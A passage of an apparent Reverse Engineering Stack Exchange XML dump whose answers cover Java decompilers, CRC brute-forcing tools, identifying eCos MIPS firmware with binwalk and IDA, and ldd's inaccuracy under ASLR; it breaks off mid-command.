  <row Id="6660" PostTypeId="2" ParentId="1370" CreationDate="2014-11-19T11:45:57.697" Score="5" Body="&lt;p&gt;Try taking a look at Bytecode Viewer &lt;a href=&quot;https://github.com/Konloch/bytecode-viewer&quot; rel=&quot;nofollow&quot; title=&quot;https://github.com/Konloch/bytecode-viewer&quot;&gt;https://github.com/Konloch/bytecode-viewer&lt;/a&gt; It has the option to decompile using 5 different decompilers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FernFlower&lt;/li&gt;&#xA;&lt;li&gt;Procyon&lt;/li&gt;&#xA;&lt;li&gt;CFR&lt;/li&gt;&#xA;&lt;li&gt;Krakatau&lt;/li&gt;&#xA;&lt;li&gt;JD-GUI&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10041" LastEditorUserId="-1" LastEditDate="2015-08-03T07:03:05.613" LastActivityDate="2015-08-03T07:03:05.613" CommentCount="1" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="6661" PostTypeId="2" ParentId="6644" CreationDate="2014-11-19T12:07:30.767" Score="0" Body="&lt;p&gt;I wrote my own CRC brute-forcing program in 2004, but it is quite specialized to a specific problem. There's a much better general-purpose one available as open source at &lt;a href=&quot;https://github.com/sitsec/bruteforce-crc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sitsec/bruteforce-crc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to collect a few different samples of transmitted packets and feed them through this program.  For a 16-bit CRC it's reasonably fast. I haven't tried it for longer CRCs.&lt;/p&gt;&#xA;" OwnerUserId="10048" LastActivityDate="2014-11-19T12:07:30.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6662" PostTypeId="2" ParentId="6659" CreationDate="2014-11-19T13:20:54.937" Score="3" Body="&lt;p&gt;Actually, from the strings, it looks to me like it's using &lt;a href=&quot;http://ecos.sourceware.org/&quot; rel=&quot;nofollow&quot;&gt;eCos&lt;/a&gt;, not Windows CE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk FW_ZERO_DES.bin&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;28494         0x6F4E          eCos RTOS string reference: &quot;eCos Thread[%.2ld, %s]&quot;&#xA;29723         0x741B          eCos RTOS string reference: &quot;eCos Thread =========================&quot;&#xA;512758        0x7D2F6         eCos RTOS string reference: &quot;eCos&amp;gt; is not exist!&quot;&#xA;512793        0x7D319         eCos RTOS string reference: &quot;eCos&amp;gt; console.&quot;&#xA;597136        0x91C90         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx&quot;&#xA;597141        0x91C95         eCos RTOS string reference: &quot;ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx&quot;&#xA;598072        0x92038         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;598077        0x9203D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;600072        0x92808         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;600077        0x9280D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;606656        0x941C0         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/smp.hxx&quot;&#xA;606661        0x941C5         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/smp.hxx&quot;&#xA;606840        0x94278         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/thread.inl&quot;&#xA;606845        0x9427D         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/thread.inl&quot;&#xA;607004        0x9431C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;607009        0x94321         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;611740        0x9559C         eCos RTOS string reference: &quot;eCos on NT96650A! &amp;lt;&amp;lt;&amp;lt;&amp;lt;&quot;&#xA;611788        0x955CC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;611793        0x955D1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;619372        0x9736C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;619377        0x97371         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;620228        0x976C4         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;620233        0x976C9         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;623552        0x983C0         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;623557        0x983C5         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;627044        0x99164         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;627049        0x99169         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;632140        0x9A54C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;632145        0x9A551         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;632512        0x9A6C0         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;632517        0x9A6C5         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;636124        0x9B4DC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;636129        0x9B4E1         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;639396        0x9C1A4         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;639401        0x9C1A9         eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;644816        0x9D6D0         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;644821        0x9D6D5         eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;652748        0x9F5CC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;652753        0x9F5D1         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;658372        0xA0BC4         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;658377        0xA0BC9         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;663684        0xA2084         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;663689        0xA2089         eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;664672        0xA2460         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;664677        0xA2465         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;664916        0xA2554         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx&quot;&#xA;664921        0xA2559         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx&quot;&#xA;665128        0xA2628         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;665133        0xA262D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;665820        0xA28DC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx&quot;&#xA;665825        0xA28E1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx&quot;&#xA;666092        0xA29EC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;666097        0xA29F1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;666416        0xA2B30         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;666421        0xA2B35         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;666584        0xA2BD8         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;666589        0xA2BDD         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;670072        0xA3978         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;670077        0xA397D         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;670252        0xA3A2C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;670257        0xA3A31         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;697416        0xAA448         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx&quot;&#xA;697421        0xAA44D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx&quot;&#xA;698080        0xAA6E0         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx&quot;&#xA;698085        0xAA6E5         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx&quot;&#xA;708812        0xAD0CC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;708817        0xAD0D1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;710856        0xAD8C8         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;710861        0xAD8CD         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;714740        0xAE7F4         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx&quot;&#xA;714745        0xAE7F9         eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx&quot;&#xA;714860        0xAE86C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl&quot;&#xA;714865        0xAE871         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl&quot;&#xA;736748        0xB3DEC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx&quot;&#xA;736753        0xB3DF1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx&quot;&#xA;741144        0xB4F18         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx&quot;&#xA;741149        0xB4F1D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx&quot;&#xA;744468        0xB5C14         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx&quot;&#xA;744473        0xB5C19         eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx&quot;&#xA;748556        0xB6C0C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;748561        0xB6C11         eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;753884        0xB80DC         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;753889        0xB80E1         eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;760592        0xB9B10         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c&quot;&#xA;760597        0xB9B15         eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c&quot;&#xA;773604        0xBCDE4         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c&quot;&#xA;773609        0xBCDE9         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c&quot;&#xA;793380        0xC1B24         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/common/v2_0_60/src/tftp_server.c&quot;&#xA;793385        0xC1B29         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/common/v2_0_60/src/tftp_server.c&quot;&#xA;799368        0xC3288         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c&quot;&#xA;799373        0xC328D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c&quot;&#xA;799419        0xC32BB         eCos RTOS string reference: &quot;ecos/support.c&quot;&#xA;800200        0xC35C8         eCos RTOS string reference: &quot;eCos_node&quot;&#xA;806272        0xC4D80         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c&quot;&#xA;806277        0xC4D85         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c&quot;&#xA;806323        0xC4DB3         eCos RTOS string reference: &quot;ecos/synch.c&quot;&#xA;810080        0xC5C60         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c&quot;&#xA;810085        0xC5C65         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c&quot;&#xA;810131        0xC5C93         eCos RTOS string reference: &quot;ecos/timeout.c&quot;&#xA;986656        0xF0E20         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx&quot;&#xA;986661        0xF0E25         eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx&quot;&#xA;996908        0xF362C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c&quot;&#xA;996913        0xF3631         eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c&quot;&#xA;1025792       0xFA700         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;1025797       0xFA705         eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;1025944       0xFA798         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;1025949       0xFA79D         eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;1026892       0xFAB4C         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;1026897       0xFAB51         eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;1027064       0xFABF8         eCos RTOS string reference: &quot;ecos/ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;1027069       0xFABFD         eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;1085556       0x109074        Unix home path string: &quot;/home/michael.lo/project-ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;1085581       0x10908D        eCos RTOS string reference: &quot;ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;1085586       0x109092        eCos RTOS string reference: &quot;ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;1704183       0x1A00F7        eCos RTOS string reference: &quot;eCos world!&quot;&#xA;1705708       0x1A06EC        Standard base64 index table&#xA;1730270       0x1A66DE        eCos RTOS string reference: &quot;eCos/include/cyg/libc/time/time.inl&quot;&#xA;1827038       0x1BE0DE        Copyright string: &quot;Copyright (c) 2012 Novatek Microelectronic Corp.&quot;&#xA;1916391       0x1D3DE7        eCos RTOS string reference: &quot;ECOS#1.00.008_Nov 12 2013, 11:18:57&quot;&#xA;1916434       0x1D3E12        eCos RTOS string reference: &quot;ECOS#1.00.007_Nov 12 2013, 11:18:59&quot;&#xA;4200028       0x40165C        XML document, version: &quot;1.0&quot;&#xA;4200788       0x401954        XML document, version: &quot;1.0&quot;&#xA;4404038       0x433346        MySQL MISAM compressed data file Version 3&#xA;5170192       0x4EE410        eCos RTOS string reference: &quot;eCos does not support daemon option&quot;&#xA;5173078       0x4EEF56        eCos RTOS string reference: &quot;ecos threads&quot;&#xA;5181448       0x4F1008        HTML document header&#xA;5182475       0x4F140B        HTML document footer&#xA;5182516       0x4F1434        eCos RTOS string reference: &quot;eCos/1.0&quot;&#xA;5184064       0x4F1A40        HTML document header&#xA;5184167       0x4F1AA7        HTML document footer&#xA;5184176       0x4F1AB0        HTML document header&#xA;5184261       0x4F1B05        HTML document footer&#xA;5184312       0x4F1B38        HTML document header&#xA;5184421       0x4F1BA5        HTML document footer&#xA;5184432       0x4F1BB0        HTML document header&#xA;5184552       0x4F1C28        HTML document footer&#xA;5471876       0x537E84        HTML document header&#xA;5471996       0x537EFC        HTML document footer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's full of little endian MIPS code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -A FW_ZERO_DES.bin&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;9744          0x2610          MIPSEL instructions, function epilogue&#xA;9812          0x2654          MIPSEL instructions, function epilogue&#xA;10260         0x2814          MIPSEL instructions, function epilogue&#xA;10484         0x28F4          MIPSEL instructions, function epilogue&#xA;10784         0x2A20          MIPSEL instructions, function epilogue&#xA;11492         0x2CE4          MIPSEL instructions, function epilogue&#xA;11644         0x2D7C          MIPSEL instructions, function epilogue&#xA;11828         0x2E34          MIPSEL instructions, function epilogue&#xA;11856         0x2E50          MIPSEL instructions, function epilogue&#xA;12212         0x2FB4          MIPSEL instructions, function epilogue&#xA;12396         0x306C          MIPSEL instructions, function epilogue&#xA;12676         0x3184          MIPSEL instructions, function epilogue&#xA;12864         0x3240          MIPSEL instructions, function epilogue&#xA;13036         0x32EC          MIPSEL instructions, function epilogue&#xA;13280         0x33E0          MIPSEL instructions, function epilogue&#xA;13484         0x34AC          MIPSEL instructions, function epilogue&#xA;13552         0x34F0          MIPSEL instructions, function epilogue&#xA;14092         0x370C          MIPSEL instructions, function epilogue&#xA;14304         0x37E0          MIPSEL instructions, function epilogue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a standard eCos exception handler at offset &lt;code&gt;0x180&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000180  # =============== S U B R O U T I N E =======================================&#xA;ROM:00000180&#xA;ROM:00000180&#xA;ROM:00000180 sub_180:&#xA;ROM:00000180                 mfc0    $k0, Cause       # Cause of last exception&#xA;ROM:00000184                 andi    $k0, 0x7F&#xA;ROM:00000188                 li      $k1, 0x800FB174&#xA;ROM:00000190                 add     $k1, $k0&#xA;ROM:00000194                 lw      $k1, 0($k1)&#xA;ROM:00000198                 jr      $k1&#xA;ROM:0000019C                 nop&#xA;ROM:0000019C  # End of function sub_180&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main code starts a bit later at &lt;code&gt;0x400&lt;/code&gt;, and the load address is almost certianly &lt;code&gt;0x80000000&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000400 sub_400:&#xA;ROM:00000400                 mtc0    $zero, Count     # Timer Count&#xA;ROM:00000404                 li      $t2, 0xFFFFFFFF&#xA;ROM:00000408                 mtc0    $t2, Compare     # Timer Compare&#xA;ROM:0000040C                 mtc0    $zero, WatchLo   # Memory reference trap address low bits&#xA;ROM:00000410                 mtc0    $zero, WatchHi   # Memory reference trap address high bits&#xA;ROM:00000414                 li      $t1, 0x800FB170&#xA;ROM:0000041C                 lw      $a1, 0($t1)&#xA;ROM:00000420                 bnez    $a1, loc_440&#xA;...&#xA;ROM:00000490                 mtc0    $t2, Config      # Configuration register&#xA;ROM:00000494                 mfc0    $t4, Config, 7   # Configuration register&#xA;ROM:00000498                 ori     $t4, 0x100&#xA;ROM:0000049C                 mtc0    $t4, Config, 7   # Configuration register&#xA;ROM:000004A0                 li      $v0, 0x800004B0  # &amp;lt;--- This suggests the load address is 0x80000000&#xA;ROM:000004A8                 jr      $v0&#xA;ROM:000004AC                 nop&#xA;ROM:000004AC  # End of function sub_400&#xA;ROM:000004AC&#xA;ROM:000004B0&#xA;ROM:000004B0  # =============== S U B R O U T I N E =======================================&#xA;ROM:000004B0&#xA;ROM:000004B0&#xA;ROM:000004B0 sub_4B0:&#xA;ROM:000004B0                 li      $gp, 0x805433A0&#xA;ROM:000004B8                 li      $a0, 0x80588360&#xA;ROM:000004C0                 move    $sp, $a0&#xA;ROM:000004C4                 jal     unk_FB934&#xA;ROM:000004C8                 nop&#xA;ROM:000004CC                 jal     unk_B335C&#xA;ROM:000004D0                 nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are references to &lt;code&gt;cygwin&lt;/code&gt; and &lt;code&gt;itron&lt;/code&gt;, but note that these are just directories under the developer's build path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings FW_ZERO_DES.bin | grep cygwin&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/smp.hxx&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/thread.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl&#xA;/cygdrive/c/project-ecos/ecos-2.0.6/configs/nt96650.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes sense, since ITRON appears to be an API standard for RTOS's (I'm not familiar with it myself), and the ITRON &lt;a href=&quot;http://en.wikipedia.org/wiki/ITRON_project&quot; rel=&quot;nofollow&quot;&gt;Wikipedia page&lt;/a&gt; explicitly states (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Supported CPUs are numerous. ARM, MIPS, x86, FR-V and many others&#xA;  including CPUs supported by open source RTOS &lt;strong&gt;eCos&lt;/strong&gt; and RTEMS, both of&#xA;  which include the support for µITRON compatible APIs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Loading this in IDA is pretty straight forward. It's a binary blob, so you'll have to explicitly tell IDA to use the &lt;code&gt;mipsl&lt;/code&gt; processor module. When IDA then prompts you for the &lt;code&gt;Disassembly memory organization&lt;/code&gt;, set both the &lt;code&gt;ROM start address&lt;/code&gt; and &lt;code&gt;Input file Loading address&lt;/code&gt; to &lt;code&gt;0x80000000&lt;/code&gt; (the base address of the file, which we've already identified from previous disassembly above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA 6.6, and I just let IDA's auto-analysis take it from there, which did a really good job (lots of string and data xrefs):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_8000D5A8:            # &quot;^RERR:%s() DMA clk not match!\r\n&quot;&#xA;addiu   $a0, (aRerrSDmaClkNot - 0x80010000)&#xA;jal     sub_8007CCC4&#xA;addiu   $a1, (aDxsys_dumpandv - 0x80010000)  # &quot;DxSys_DumpAndVerifyClk&quot;&#xA;jal     loc_800A25B4&#xA;nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IIRC, older versions of IDA weren't quite as agressive in their auto-analysis, so if you have an older IDA, you might need to manually create some code (the &lt;code&gt;c&lt;/code&gt; keyboard shortcut) at offsets &lt;code&gt;0x180&lt;/code&gt; and &lt;code&gt;0x400&lt;/code&gt; to give it a little kick-start.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2014-11-19T14:27:48.507" LastActivityDate="2014-11-19T14:27:48.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6665" PostTypeId="2" ParentId="6657" CreationDate="2014-11-20T08:46:39.717" Score="9" Body="&lt;h2&gt;&lt;code&gt;ldd&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The program &lt;code&gt;ldd&lt;/code&gt; is wrong for a few reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;code&gt;ldd&lt;/code&gt; is not meant to be accurate for determining load addresses. Use the environment variable &lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, &lt;code&gt;ldd&lt;/code&gt; will never be correct with ASLR enabled as Guntram showed.  You can disable this pretty trivially if you have &lt;code&gt;sudo&lt;/code&gt; access.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f44dae1b000)&#xA;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9b35341000)&#xA;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep 